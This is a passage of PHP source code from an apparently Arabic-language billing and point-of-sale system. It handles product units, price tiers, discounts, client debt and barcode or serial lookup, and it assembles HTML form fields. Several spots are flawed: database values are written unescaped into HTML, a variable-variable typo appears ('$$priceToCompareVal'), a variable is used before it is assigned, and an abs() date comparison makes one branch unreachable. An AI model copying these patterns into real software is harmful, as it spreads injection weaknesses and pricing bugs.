  ================================ */

// select from Billname tbl
function loadBillProperty($billnameid)
{
    //to use the variable out side the funcion
    global $myBillsettingEx;

    // select all data from Billname
    $billsettingsData = $myBillsettingEx->queryWithBillnameId($billnameid);

    return $billsettingsData;
}

function getclientdebt($clientId)
{
    global $myClientRecord;

    $clientData = $myClientRecord->load($clientId);
    $clientDebt = $clientData->clientdebt;

    return $clientDebt;
}

function getclientdebtlimit($clientId)
{
    global $myClientRecord;

    $clientData = $myClientRecord->load($clientId);
    $clientDebtLimit = $clientData->debtLimit;

    return $clientDebtLimit;
}

function loadProduct($storeId)
{
    global $myStoredetailEx;

    // select all data from product tbl
    $productData = $myStoredetailEx->queryWithStoreId($storeId);
    return $productData;
}

// get ProoductPrice from Prooduct tbl
function getProoductPrice($productId, $storeId)
{
    //to use the variable out side the funcion
    global $myProductRecord;
    global $myStoredetailEx;
    global $sizeColorStoreDetailDAO;
    global $sizeColorStoreDetailEX;

    //for product hassizecolor
    $sizeId = 0;
    $colorId = 0;
    $sizeColorStoreDetailId = 0;
    if (!empty($productId)) {
        if (strpos($productId, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productId = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
            $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $storeId, $sizeId, $colorId);
        }
    }

    // get rawmaterialprice by rawmaterialid
    $productData = $myProductRecord->load($productId);

    if (isset($sizeColorStoreDetailId) && $sizeColorStoreDetailId > 0) { //sizecolor product
        $storedetailData = $sizeColorStoreDetailDAO->load($sizeColorStoreDetailId);
        $quantity = $storedetailData->quantity;
    } else {
        $storedetailData = $myStoredetailEx->queryWithStoreAndProduct($productId, $storeId);
        $quantity = $storedetailData->productquantity;
    }


    return array($productData, $quantity);
}

// get ProoductPrice from Prooduct tbl
function getProoductPriceByonlyProductId($productId)
{
    //to use the variable out side the funcion
    global $myProductEx;

    // get rawmaterialprice by rawmaterialid
    $productData = $myProductEx->loadByProductId($productId);

    return $productData;
}

// get ProoductPrice from productunit tbl
function getProoductPriceByProductunit($productId, $productunitid)
{
    //to use the variable out side the funcion
    global $myProductEx;
    global $myProductunitRecord;

    $productData = $myProductEx->loadByProductId($productId);
    $productUnitPrices = $myProductunitRecord->load($productunitid);
    $productData->productSellAllPrice = $productUnitPrices->proUnitSellAllPrice;
    $productData->productSellHalfPrice = $productUnitPrices->proUnitSellHalfPrice;
    $productData->productSellUnitPrice = $productUnitPrices->proUnitSellUnitPrice;

    return $productData;
}

function getProductPriceFromSellBill($ProductId, $ClientId, $productunitid)
{
    //to use the variable out side the funcion
    global $mySellbilldetailEx;
    global $mySellandruternbilldetailEx;

    $sellbilldetailPrice;
    $detailData = array();

    // get rawmaterialprice by rawmaterialid
    $sellbilldetailData = $mySellbilldetailEx->queryPriceWithProductIdAndClientIdAndUnit($ProductId, $ClientId, $productunitid);

    $sellandruternbilldetailData = $mySellandruternbilldetailEx->queryPriceWithProductIdAndClientIdAndUnit($ProductId, $ClientId, $productunitid, 0);

    if (count($sellbilldetailData) > 0 && count($sellandruternbilldetailData) > 0) {
        //number of days
        $dayNum = round(abs(strtotime($sellbilldetailData->sellbilldate) - strtotime($sellandruternbilldetailData->sellbilldate)));

        if ($dayNum >= 0) {
            $sellbilldetailPrice = $sellbilldetailData->sellbilldetailprice;
            $detailData = $sellbilldetailData;
        } else {
            $sellbilldetailPrice = $sellandruternbilldetailData->sellbilldetailprice;
            $detailData = $sellandruternbilldetailData;
        }
    } elseif (count($sellbilldetailData) > 0 && count($sellandruternbilldetailData) <= 0) {
        $detailData = $sellbilldetailData;
        $sellbilldetailPrice = $sellbilldetailData->sellbilldetailprice;
    } elseif (count($sellbilldetailData) <= 0 && count($sellandruternbilldetailData) > 0) {
        $detailData = $sellandruternbilldetailData;

        $sellbilldetailPrice = $sellandruternbilldetailData->sellbilldetailprice;
    } else {
        $detailData = array();
    }




    return array($detailData, $sellbilldetailPrice);
}

//ايجاد عدد الفواتبر التى بيع فيها المنتج لهذا العميل
function getNoOfBillsRepeated($ProductId, $ClientId)
{
    //to use the variable out side the funcion
    global $mySellbilldetailEx;
    global $mySellandruternbilldetailEx;

    $sellbilldetailPrice;

    // get rawmaterialprice by rawmaterialid
    $sellbillCount = (int) $mySellbilldetailEx->getNoOfBillsWithProductIdAndClientId($ProductId, $ClientId);

    $sellandruternbillCount = (int) $mySellandruternbilldetailEx->getNoOfBillsWithProductIdAndClientId($ProductId, $ClientId, 0);

    return $sellbillCount + $sellandruternbillCount;
}

function getProductPriceFromReturnSellBill($ProductId, $ClientId, $productunitid)
{
    //to use the variable out side the funcion
    global $myReturnsellbilldetailEx;
    global $mySellandruternbilldetailEx;


    $returnsellbilldetailPrice;
    $detailData = array();

    // get rawmaterialprice by rawmaterialid
    $returnsellbilldetailData = $myReturnsellbilldetailEx->queryWithProductIdAndClientIdAndUnit($ProductId, $ClientId, $productunitid);



    $sellandruternbilldetailData = $mySellandruternbilldetailEx->queryWithProductIdAndClientIdAndUnit($ProductId, $ClientId, $productunitid, 1);


    if (count($returnsellbilldetailData) > 0 && count($sellandruternbilldetailData) > 0) {

        $dayNum = round(abs(strtotime($returnsellbilldetailData->returnsellbilldate) - strtotime($sellandruternbilldetailData->sellbilldate)));

        if ($dayNum >= 0) {
            $returnsellbilldetailPrice = $returnsellbilldetailData->returnsellbilldetailprice;

            $detailData = $returnsellbilldetailData;
        } else {
            $returnsellbilldetailPrice = $sellandruternbilldetailData->sellbilldetailprice;

            $detailData = $sellandruternbilldetailData;
        }
    } elseif (count($returnsellbilldetailData) > 0 && count($sellandruternbilldetailData) <= 0) {
        $detailData = $returnsellbilldetailData;
        $returnsellbilldetailPrice = $returnsellbilldetailData->returnsellbilldetailprice;
    } elseif (count($returnsellbilldetailData) <= 0 && count($sellandruternbilldetailData) > 0) {
        $detailData = $sellandruternbilldetailData;

        $returnsellbilldetailPrice = $sellandruternbilldetailData->sellbilldetailprice;
    } else {
        $detailData = array();
    }





    return array($detailData, $returnsellbilldetailPrice);
}

function loadProductUnitDefault($productId)
{
    global $myProductunitEx;
    global $unitString;
    global $priceString;
    global $parcodeString;
    global $tabindex;
    global $itr;

    $priceType = $_GET['pricetype'];
    $clientId = $_GET['clientid'];

    // select all data from productunit tbl
    $productunitData = $myProductunitEx->queryWithProductIdAndCondition($productId);

    return $productunitData;
}

function loadProductUnit($productId, $parcode)
{

    //to use the variable out side the funcion
    global $productDAO;
    global $productCatDAO;
    global $myProductunitEx;
    global $unitString;
    global $priceString;
    global $parcodeString;
    global $tabindex;
    global $itr;
    global $Programsettingdata;
    global $sizeColorStoreDetailEX;
    global $Usergroupdata;

    //for product hassizecolor
    $productIdRecieved = $productId;
    $sizeColor;
    if (!empty($productId)) {
        if (strpos($productId, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productId = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
            $sizeColor = $sizeColorStoreDetailEX->getParcodeByProductSizeAndColorEX($productId, $sizeId, $colorId);
        }
    }

    $billnameid = (int) $_GET['billnameid'];
    $priceType = $_GET['pricetype'];
    $clientId = $_GET['clientid'];
    $comingproserial = (int) $_GET['comingproserial']; //means user selct product by serial  from "productserial" table and we need parcode as it is
    $proData = $productDAO->load($productId);
    $catData = $productCatDAO->load($proData->productCatId);
    $priceToCompare = R::getCell('select billsettingsvalue from billsettings where billpropertyid=122 and billnameid=' . $billnameid);
    $$priceToCompareVal = 0;
    switch ($priceToCompare) {
        case "first":
        case 1:
            $priceToCompareVal = (float) $proData->productBuyPrice;
            break;
        case "last":
        case 2:
            $priceToCompareVal = (float) $proData->lastbuyprice;
            break;
        case "last_discount":
        case 3:
            $priceToCompareVal = (float) $proData->lastbuyprice_withDiscount;
            break;
        case "mean":
        case 4:
            $priceToCompareVal = (float) $proData->meanbuyprice;
            break;
        case "mean_discount":
        case 5:
            $priceToCompareVal = (float) $proData->meanbuyprice_withDiscount;
            break;
        case "tax":
        case 6:
            $priceToCompareVal = (float) $proData->lastbuyprice_withTax;
            break;
        case "mean_tax":
        case 7:
            $priceToCompareVal = (float) $proData->meanbuyprice_withTax;
            break;
        case "generalPrice":
        case 8:
            $priceToCompareVal = (float) $proData->overAllAveragePrice;
            break;
        default:
            $priceToCompareVal = (float) $proData->lastbuyprice_withDiscount;
            break;
    }

    //
    $buypriceprofit = 0;
    if ($Usergroupdata->showProfitInsideBill == 1) {
        switch ($Programsettingdata->Profitevaluation) {
            case "first":
                $buypriceprofit = $proData->productBuyPrice;
                break;
            case "last":
                $buypriceprofit = $proData->lastbuyprice;
                break;
            case "mean":
                $buypriceprofit = $proData->meanbuyprice;
                break;
            case "last_discount":
                $buypriceprofit = $proData->lastbuyprice_withDiscount;
                break;
            case "mean_discount":
                $buypriceprofit = $proData->meanbuyprice_withDiscount;
                break;
            case "generalPrice":
                $buypriceprofit = $proData->generalPrice;
                break;
            case "tax":
                $buypriceprofit = $proData->lastbuyprice_withTax;
                break;
            case "mean_tax":
                $buypriceprofit = $proData->meanbuyprice_withTax;
                break;
        }
    }
    // select all data from productunit tbl
    $productunitData = $myProductunitEx->queryWithProductIdAndCondition($productId);
    if (count($productunitData) > 0) {
        $unitString .= '<input type="hidden" name="proNum' . $itr . '" id="proNum' . $itr . '" value=""/>';
        $unitString .= '<select id = "productunit' . $itr . '" name = "productunit' . $itr . '" class = "select2 wdt100 autoSaveBillRow" tabindex = "' . $tabindex . '" onChange = "getunitprice(' . $itr . ');">';
        $i = 0;
        foreach ($productunitData as $productunit) {
            $unitString .= '<option data-pu-num="' . $productunit->productnumber . '" data-profit-price="' . $buypriceprofit . '" data-lbwd-price="' . $priceToCompareVal . '" data-unit-price="' . $productunit->proUnitBuyPrice . '" value = "' . $productunit->productunitid . '">' . $productunit->unitName . '</option>';
            if ($i == 0) { //get buy price for the first unit only
                ///////************** product price
                $productData = getProoductPriceByonlyProductId($productId);


                $listDiscountPer = 0;
                //تجزئة
                if ($priceType == 1) {
                    $price = $productData->productSellUnitPrice;
                    $unitPrice = $productunit->proUnitSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buypart;
                }
                //جملة
                elseif ($priceType == 0) {
                    $price = $productData->productSellAllPrice;
                    $unitPrice = $productunit->proUnitSellAllPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buytotal;
                }
                //نصف جملة
                elseif ($priceType == 2) {
                    $price = $productData->productSellHalfPrice;
                    $unitPrice = $productunit->proUnitSellHalfPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buyhalf;
                } elseif ($priceType == 4) {
                    $price = $productData->price4;
                    $unitPrice = $productunit->proUnitSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buyhalf;
                } elseif ($priceType == 5) {
                    $price = $productData->price5;
                    $unitPrice = $productunit->proUnitSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buyhalf;
                } elseif ($priceType == 6) {
                    $price = $productData->price6;
                    $unitPrice = $productunit->proUnitSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buyhalf;
                } elseif ($priceType == 7) {
                    $price = $productData->price7;
                    $unitPrice = $productunit->proUnitSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buyhalf;
                } elseif ($priceType == 8) {
                    $price = $productData->price8;
                    $unitPrice = $productunit->proUnitSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buyhalf;
                }

                $selldiscount = $productData->selldiscount;
                if ($selldiscount > 0 && $productData->discounttype == 0) {
                    $productPrice = $price - $selldiscount;
                    $productPriceUnit = $unitPrice - ($selldiscount * $productnumber);
                } elseif ($selldiscount > 0 && $productData->discounttype == 1) {
                    $selldiscount = ((($productData->selldiscount) / 100) * ($price));
                    $productPrice = $price - $selldiscount;
                    $productPriceUnit = $unitPrice - ((($productData->selldiscount) / 100) * ($unitPrice));
                } else {
                    $productPrice = $price;
                    $productPriceUnit = $unitPrice;
                }


                ##
                if ($Programsettingdata->useListPrice == 1) {
                    $productPrice = $productPrice + (($productPrice * $listDiscountPer) / 100);
                    $productPriceUnit = $productPriceUnit + (($productPriceUnit * $listDiscountPer) / 100);
                }

                $productnumber = $productunit->productnumber;

                $productPrice = $productPrice * $productnumber;
                if ($Programsettingdata->defaultUnitPriceAtBill == 1)
                    $productPrice = $productPriceUnit;


                ##default values of $pricehtml and $discounthtml are zero
                $pricehtml = '<input type = "text" name = "proprice' . $itr . '" id = "proprice' . $itr . '" class = "form-control getprototal enteraction numberinput txt-nonraduis positivefloat autoSaveBillRow" value = "' . $productPrice . '" tabindex = "' . $tabindex . '" />
                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "productpricetype' . $itr . '" id = "productpricetype' . $itr . '" type = "hidden" value = "0" size = "7" readonly />';
                $discounthtml = '<input type="hidden" id="lastClientDisVal' . $itr . '" value="0"/>
                     <input type="hidden" id="lastClientDisPer' . $itr . '" value="0"/>
                     <input type="hidden" id="selldiscount' . $itr . '" value="' . $selldiscount . '"/>';

                if (isset($clientId) && $clientId != "" && $clientId != "-2" && $clientId != "1" && ($Programsettingdata->showPrevPrices == 0 || $Programsettingdata->showPrevDiscount == 1)) {
                    $sellbilldetailData = getProductPriceFromSellBill($productId, $clientId, $productunit->productunitid);

                    // if has selldata and setting want to use last price data
                    if (count($sellbilldetailData[0]) > 0 && $Programsettingdata->showPrevPrices == 0) {
                        $pricehtml = '<input type = "text" name = "proprice' . $itr . '" id = "proprice' . $itr . '" class = "form-control getprototal enteraction numberinput txt-nonraduis positivefloat autoSaveBillRow" value = "' . $sellbilldetailData[1] . '" tabindex = "' . $tabindex . '" />
                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "productpricetype' . $itr . '" id = "productpricetype' . $itr . '" type = "hidden" value = "1" size = "7" readonly />';
                    }
                    // if has selldata and setting want to use last discount data
                    if (count($sellbilldetailData[0]) > 0 && $Programsettingdata->showPrevDiscount == 1) {
                        $discounthtml = '<input type="hidden" id="lastClientDisVal' . $itr . '" value="' . $sellbilldetailData[0]->discountvalue . '"/>
                             <input type="hidden" id="lastClientDisPer' . $itr . '" value="' . $sellbilldetailData[0]->discounttype . '"/>
                             <input type="hidden" id="selldiscount' . $itr . '" value="' . $selldiscount . '"/>';
                    }
                }
                $priceString .= $pricehtml . $discounthtml;
            }
            $i++;
        }

        $unitString .= '</select>';


        ///////************** product parcode
        $parcodeData = getParcodeAndDon($productIdRecieved, $parcode, $productData->hasSizeAndColor, $comingproserial);
        $parcodeString .= '<input type = "text" name = "parcode' . $itr . '" id = "parcode' . $itr . '" class = "form-control txt-nonraduis autoSaveBillRow" tabindex = "' . $tabindex . '" value = "' . $parcodeData[0] . '" onkeypress = "getproductbyParcode(event,this.value, ' . $itr . ');" size = "3" placeholder = "الباركود" />
                    <input name = "parcodeType' . $itr . '" id = "parcodeType' . $itr . '" type = "hidden" value = "' . $parcodeData[1] . '" />

                    <input name = "productserailid' . $itr . '" id = "productserailid' . $itr . '" type = "hidden" value = "' . $parcodeData[2] . '" />

                    <input name = "productQty' . $itr . '" id = "productQty' . $itr . '" type = "hidden" value = "' . $parcodeData[3] . '"/>
                    ';
    }


    $data = array('unitString' => $unitString, 'priceString' => $priceString, 'parcodeString' => $parcodeString);

    echo json_encode($data);
    //return $productunitData;
}

function loadReturnProductUnit($productId, $parcode)
{
    global $myProductunitEx;
    global $unitString;
    global $priceString;
    global $parcodeString;
    global $tabindex;
    global $itr;
    global $Programsettingdata;

    $priceType = $_GET['pricetype'];
    $clientId = $_GET['clientid'];
    $comingproserial = (int) $_GET['comingproserial']; //means user selct product by serial  from "productserial" table and we need parcode as it is
    //for product hassizecolor
    $productIdRecieved = $productId;
    $sizeColor;
    if (!empty($productId)) {
        if (strpos($productId, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productId = $productIdComplex[0];
        }
    }

    // select all data from productunit tbl
    $productunitData = $myProductunitEx->queryWithProductIdAndCondition($productId);
    if (count($productunitData) > 0) {
        $unitString .= '<input type="hidden" name="retProNum' . $itr . '" id="retProNum' . $itr . '" value=""/>';
        $unitString .= '<select id = "returnproductunit' . $itr . '" name = "returnproductunit' . $itr . '" class = "select2 wdt100 autoSaveBillRowRet" tabindex = "' . $tabindex . '" onChange = "getreturnunitprice(' . $itr . ');">';
        $i = 0;
        foreach ($productunitData as $productunit) {
            $unitString .= '<option data-pu-num="' . $productunit->productnumber . '" value = "' . $productunit->productunitid . '">' . $productunit->unitName . ' </option>';
            if ($i == 0) { //get buy price for the first unit only
                ///////************** product price
                $productData = getProoductPriceByonlyProductId($productId);

                //تجزئة
                if ($priceType == 1) {
                    $price = $productData->productSellUnitPrice;
                }
                //جملة
                elseif ($priceType == 0) {
                    $price = $productData->productSellAllPrice;
                }
                //نصف جملة
                elseif ($priceType == 2) {
                    $price = $productData->productSellHalfPrice;
                } elseif ($priceType == 4) {
                    $price = $productData->price4;
                } elseif ($priceType == 5) {
                    $price = $productData->price5;
                } elseif ($priceType == 6) {
                    $price = $productData->price6;
                } elseif ($priceType == 7) {
                    $price = $productData->price7;
                } elseif ($priceType == 8) {
                    $price = $productData->price8;
                }

                if ($productData->selldiscount > 0 && $productData->discounttype == 0) {

                    $productPrice = $price - $productData->selldiscount;
                } elseif ($productData->selldiscount > 0 && $productData->discounttype == 1) {

                    $productPrice = $price - ((($productData->selldiscount) / 100) * ($price));
                } else {
                    $productPrice = $price;
                }

                //$productnumberData=$myProductunitRecord->load($productUnit);
                $productnumber = $productunit->productnumber;


                $productPrice = $productPrice * $productnumber;


                ##default values of $pricehtml and $discounthtml are zero
                $pricehtml = '<input type = "text" name = "returnproprice' . $itr . '" id = "returnproprice' . $itr . '" class = "form-control getreurnprototal txt-nonraduis returnenteraction numberinput positivefloat autoSaveBillRowRet" tabindex = "' . $tabindex . '" value = "' . $productPrice . '" />
                    <input name = "returnquantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "returnproductpricetype' . $itr . '" id = "returnproductpricetype' . $itr . '" type = "hidden" value = "0" size = "7" readonly />';
                $discounthtml = '<input type="hidden" id="retLastClientDisVal' . $itr . '" value="0"/>
                     <input type="hidden" id="retLastClientDisPer' . $itr . '" value="0"/>';

                if (isset($clientId) && $clientId != "" && $clientId != "-2" && $clientId != "1" && ($Programsettingdata->showPrevPricesRet == 0 || $Programsettingdata->showPrevDiscountRet == 1)) {
                    $returnsellbilldetailData = getProductPriceFromSellBill($productId, $clientId, $productunit->productunitid);

                    // if has selldata and setting want to use last price data
                    if (count($returnsellbilldetailData[0]) > 0 && $Programsettingdata->showPrevPricesRet == 0) {
                        $pricehtml = '<input type = "text" name = "returnproprice' . $itr . '" id = "returnproprice' . $itr . '" class = "form-control getreurnprototal txt-nonraduis returnenteraction numberinput positivefloat autoSaveBillRowRet" tabindex = "' . $tabindex . '" value = "' . $returnsellbilldetailData[1] . '" />

                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "returnproductpricetype' . $itr . '" id = "returnproductpricetype' . $itr . '" type = "hidden" value = "1" size = "7" readonly />';
                    }
                    // if has selldata and setting want to use last discount data
                    if (count($returnsellbilldetailData[0]) > 0 && $Programsettingdata->showPrevDiscountRet == 1) {
                        $discounthtml = '<input type="hidden" id="retLastClientDisVal' . $itr . '" value="' . $returnsellbilldetailData[0]->discountvalue . '"/>
                             <input type="hidden" id="retLastClientDisPer' . $itr . '" value="' . $returnsellbilldetailData[0]->discounttype . '"/>';
                    }
                }
                $priceString .= $pricehtml . $discounthtml;
            }
            $i++;
        }

        $unitString .= '</select>';


        ///////************** product parcode
        $parcodeData = getParcodeAndDon($productIdRecieved, $parcode, $productData->hasSizeAndColor, $comingproserial);

        $parcodeString .= '<input type = "text" name = "returnparcode' . $itr . '" id = "returnparcode' . $itr . '" class = "form-control txt-nonraduis autoSaveBillRowRet" placeholder = "الباركود" onkeypress = "getreturnproductbyParcode(event,this.value,' . $itr . ');" tabindex = "' . $tabindex . '" value = "' . $parcodeData[0] . '"/>

                    <input name = "returnparcodeType' . $itr . '" id = "returnparcodeType' . $itr . '" type = "hidden" value = "' . $parcodeData[1] . '" />

                    <input name = "returnproductserailid' . $itr . '" id = "returnproductserailid' . $itr . '" type = "hidden" value = "' . $parcodeData[2] . '" />';
    }


    $data = array('unitString' => $unitString, 'priceString' => $priceString, 'parcodeString' => $parcodeString);

    echo json_encode($data);
    //return $productunitData;
}

function getParcodeAndDon($productId, $parcode, $hasSizeAndColor, $comingproserial)
{

    global $myProductserialEx;
    global $myProductserialDao;
    global $myProductRecord;
    global $sizeColorStoreDetailEX;
    global $myBillnameRecord;
    global $Programsettingdata;

    $billnameid = $_GET['billnameid'];
    //$comingproserial = 1 => means user selct product by serial  from "productserial" table and we need parcode as it is
    if ($hasSizeAndColor == 1) { //has size color
        if (isset($parcode) && $parcode != '') {
            $sizeColor = $sizeColorStoreDetailEX->queryByParcodeEX($parcode);
            if (count($sizeColor) > 0) {
                $productId = "hasSizeColor" . $sizeColor->productid . "-" . $sizeColor->sizeid . "-" . $sizeColor->colorid;
                $parcode = $sizeColor->parcode;
                if (!is_null($sizeColor->sizeName) && !empty($sizeColor->sizeName)) {
                    $productName .= '/' . $sizeColor->sizeName;
                }
                if (!is_null($sizeColor->colorName) && !empty($sizeColor->colorName)) {
                    $productName .= '/' . $sizeColor->colorName;
                }

                #####
                $productSerialData->serialnumber = $parcode;
                $parcodeType = "parcode";
                $productserailId = 0;
                $productQty = 'undefined';
            } else {
                $serialData = $myProductserialDao->queryBySerialnumber($parcode); //Ex->queryLastWithProductIdAndSerial($sizeColor->productid,$parcode," and sizeid=$sizeColor->sizeid and colorid= $sizeColor->colorid ");
                $serialData = $serialData[0];
                if (isset($serialData->productserailid) && $serialData->productserailid > 0) {
                    $sizeColor = $sizeColorStoreDetailEX->getParcodeByProductSizeAndColorEX($serialData->productid, $serialData->sizeid, $serialData->colorid);
                    $productId = "hasSizeColor" . $sizeColor->productid . "-" . $sizeColor->sizeid . "-" . $sizeColor->colorid;
                    if (!is_null($sizeColor->sizeName) && !empty($sizeColor->sizeName)) {
                        $productName .= '/' . $sizeColor->sizeName;
                    }
                    if (!is_null($sizeColor->colorName) && !empty($sizeColor->colorName)) {
                        $productName .= '/' . $sizeColor->colorName;
                    }
                    #####
                    $productSerialData->serialnumber = $parcode;
                    $parcodeType = "serialnumber";
                    $productserailId = $serialData->productserailid;
                    $productQty = $serialData->don;
                }
            }
        } else {
            //change data to get first size color
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productId = $productIdComplex[0];
            $sizeid = $productIdComplex[1];
            $colorid = $productIdComplex[2];
            $sizeColor = $sizeColorStoreDetailEX->getParcodeByProductSizeAndColorEX($productId, $sizeid, $colorid);
            if ($sizeColor->id > 0) {
                $productId = "hasSizeColor" . $sizeColor->productid . "-" . $sizeColor->sizeid . "-" . $sizeColor->colorid;
                $parcode = $sizeColor->parcode;
                if (!is_null($sizeColor->sizeName) && !empty($sizeColor->sizeName)) {
                    $productName .= '/' . $sizeColor->sizeName;
                }
                if (!is_null($sizeColor->colorName) && !empty($sizeColor->colorName)) {
                    $productName .= '/' . $sizeColor->colorName;
                }
                #####
                $productSerialData->serialnumber = $parcode;
                $serialData = $myProductserialEx->queryLastWithProductIdAndSerial($sizeColor->productid, $parcode, " and sizeid=$sizeColor->sizeid and colorid= $sizeColor->colorid ");
                if (isset($serialData->productserailid) && $serialData->productserailid > 0) {
                    $parcodeType = "serialnumber";
                    $productserailId = $serialData->productserailid;
                    $productQty = $serialData->don;
                } else {
                    $parcodeType = "parcode";
                    $productserailId = 0;
                    $productQty = 'undefined';
                }
            }
        }
    } else {
        if (isset($parcode) && $parcode != '') {

            if ($billnameid == 5) {
                $queryString = ' and don < 1 ';
            } else {
                $queryString = ' and don > 0 ';
            }

            // هشوف لو المنتج ده مرتبط بالباركود ده ولا لأ وأجيب البيانات المطلوبة
            $productSerialData = $myProductserialEx->queryLastWithProductIdAndSerial($productId, $parcode, $queryString);

            if (count($productSerialData) == 0) {
                $productSerialData = $myProductserialEx->queryLastWithProductIdAndDonExt($productId);
            }
        } else {
            // select all data from productserial tbl

            $productSerialData = $myProductserialEx->queryLastWithProductIdAndDonExt($productId);
        }


        $parcodeType;
        $productserailId;
        if (count($productSerialData) <= 0) {
            $productData = $myProductRecord->load($productId);
            $parcode = $productData->parcode;
            $parcodeType = "parcode";
            $productserailId = 0;
            $productQty = 'undefined';
        } else {
            $productData = $myProductRecord->load($productId);
            if ($comingproserial == 1 && $parcode == $productData->parcode) { //$comingproserial = 1 => means user selct product by serial  from "productserial" table and we need parcode as it is
                $parcode = $productData->parcode;
                $parcodeType = "parcode";
                $productserailId = 0;
                $productQty = 'undefined';
            } else {
                $parcode = $productSerialData->serialnumber;
                $parcodeType = "serialnumber";
                $productserailId = $productSerialData->productserailid;
                $productQty = $productSerialData->don; //عدد المنتجات في هذا السيريال
            }
        }
    }
    if (strpos($productId, "hasSizeColor") !== false || $comingproserial == 1) {
    } else {
        $billnameData = $myBillnameRecord->load($billnameid);
        $productData = $myProductRecord->load($productId);
        if ($billnameData->billnameid > 0 && (int) $billnameData->parcodeType == 1) {
            $parcode = useSpecializedParcodeDigits($productData->parcode, $productData->productId, $Programsettingdata->specializedParcodeDigits);
        } else {
            //dont change
            //$parcode = $productData->parcode;
        }
    }

    return array($parcode, $parcodeType, $productserailId, $productQty);
}

function loadProductByParcodeAndStoreId($storeId, $parcode)
{

    //to use the variable out side the funcion
    global $myStoredetailEx;

    // select all data from product tbl
    $productData = $myStoredetailEx->queryWithStoreIdAndParcode($storeId, $parcode);


    return $productData;
}

function loadProductByParcodeAndDon($parcode, $don)
{
    global $myProductEx;

    $arr = array();

    // select all data from product tbl
    $productData = $myProductEx->queryWithSerialnumberAndDon($parcode, $don);
    if (count($productData) <= 0) {
        $productData = $myProductEx->queryWithParcode($parcode);

        $arr['id'] = $productData->productId;
        $arr['text'] = $productData->productName;
        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;
        $arr['productQTY'] = 'undefined';
    } else {
        $arr['id'] = $productData->productId;
        $arr['text'] = $productData->productName;
        $arr['parcodeType'] = "serialnumber";
        $arr['productserailid'] = $productData->productserailid;
        $arr['productQTY'] = 'undefined';
    }
    echo json_encode($arr);
}

function loadProductByParcodeAndDonExt($parcode, $billnameid, $sellOrRetFlag = 0)
{ //$sellOrRetFlag 0 is sell , 1 is ret
    global $myProductEx;
    global $myBillnameRecord;
    global $myBillsettingEx;
    global $BillpropertyDAO;
    global $sizeColorStoreDetailEX;
    global $storeDetailExt;
    global $storeReportExt;
    global $Programsettingdata;
    global $storeId;

    $recievedParcode = $parcode;
    ##check if parcode scale is used
    $WeightPricePart;
    $posType;
    $useParcodeBalance = 0;
    //get prop id
    $Billproperty = $BillpropertyDAO->queryByBillpropertyname('تفعيل ميزان الباركود');
    if (count($Billproperty) > 0) {
        $Billproperty = $Billproperty[0];
        //get setting
        $billsettingsData = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameid, $Billproperty->billpropertyid);
        $billsettingsData = $billsettingsData[0];
        if ($billsettingsData->billsettingsvalue == 0) {
            //load parcode scale data
            $myBillname = $myBillnameRecord->load($billnameid);
            //$myBillname->checkDigit == 0 means it is random , i have to remove last char only
            if (
                strpos($parcode, $myBillname->posFlag) === 0 &&
                ($myBillname->checkDigit == 0 || ($myBillname->checkDigit != 0 && $myBillname->checkDigit == substr($parcode, strlen($myBillname->checkDigit) * -1)))
            ) {
                //condition 1 ---- parcode start with the posFlag  and end with checkDigit
                $requiredParcodeLength = strlen($myBillname->posFlag) + $myBillname->posCode + $myBillname->posWeightPrice + strlen($myBillname->checkDigit);
                $givenParcodeLen = strlen($parcode);
                if ($requiredParcodeLength == $givenParcodeLen) {
                    //condition 2 ---- required length is ok
                    /* -- now start chopping parcode ---- */
                    //-remove posFlag
                    $parcode = substr($parcode, strlen($myBillname->posFlag));
                    //-remove checkDigit
                    $formattedParcode = substr($parcode, 0, (strlen($myBillname->checkDigit) * -1));
                    //get product parcode
                    $parcode = substr($formattedParcode, 0, $myBillname->posCode);
                    //get product weigt or price part
                    $WeightPricePart = (float) substr($formattedParcode, ($myBillname->posWeightPrice * -1));
                    $posType = $myBillname->posType;
                    if ($posType == 0) { //it is weight
                        $WeightPricePart = $WeightPricePart / 1000;
                    } elseif ($posType == 1) { //it is price
                        $WeightPricePart = $WeightPricePart / 100;
                    }
                    $useParcodeBalance = 1;
                }
            }
        }
    }
    $arr = array();
    $categories;

    $arr = getProductFromProductSerialTableUsingParcode($parcode);
    if ($arr == -1) {


        if ($Programsettingdata->searchBarcodeInBill == 0) {
            $arr = getProductFromProductTableUsingParcode($parcode);
            if ($arr == -1) {
                $arr = getProductFromSizeColorStoreDetailTableUsingParcode($parcode);
                if ($arr == -1) {
                    $arr = getProductFromProductUnitTableUsingParcode($recievedParcode);
                    if ($arr == -1) {
                        $arr = getProductFromProductTableUsingParcodeExcel($recievedParcode);
                        if ($arr == -1) {
                            //means no data
                            $arr['id'] = 0;
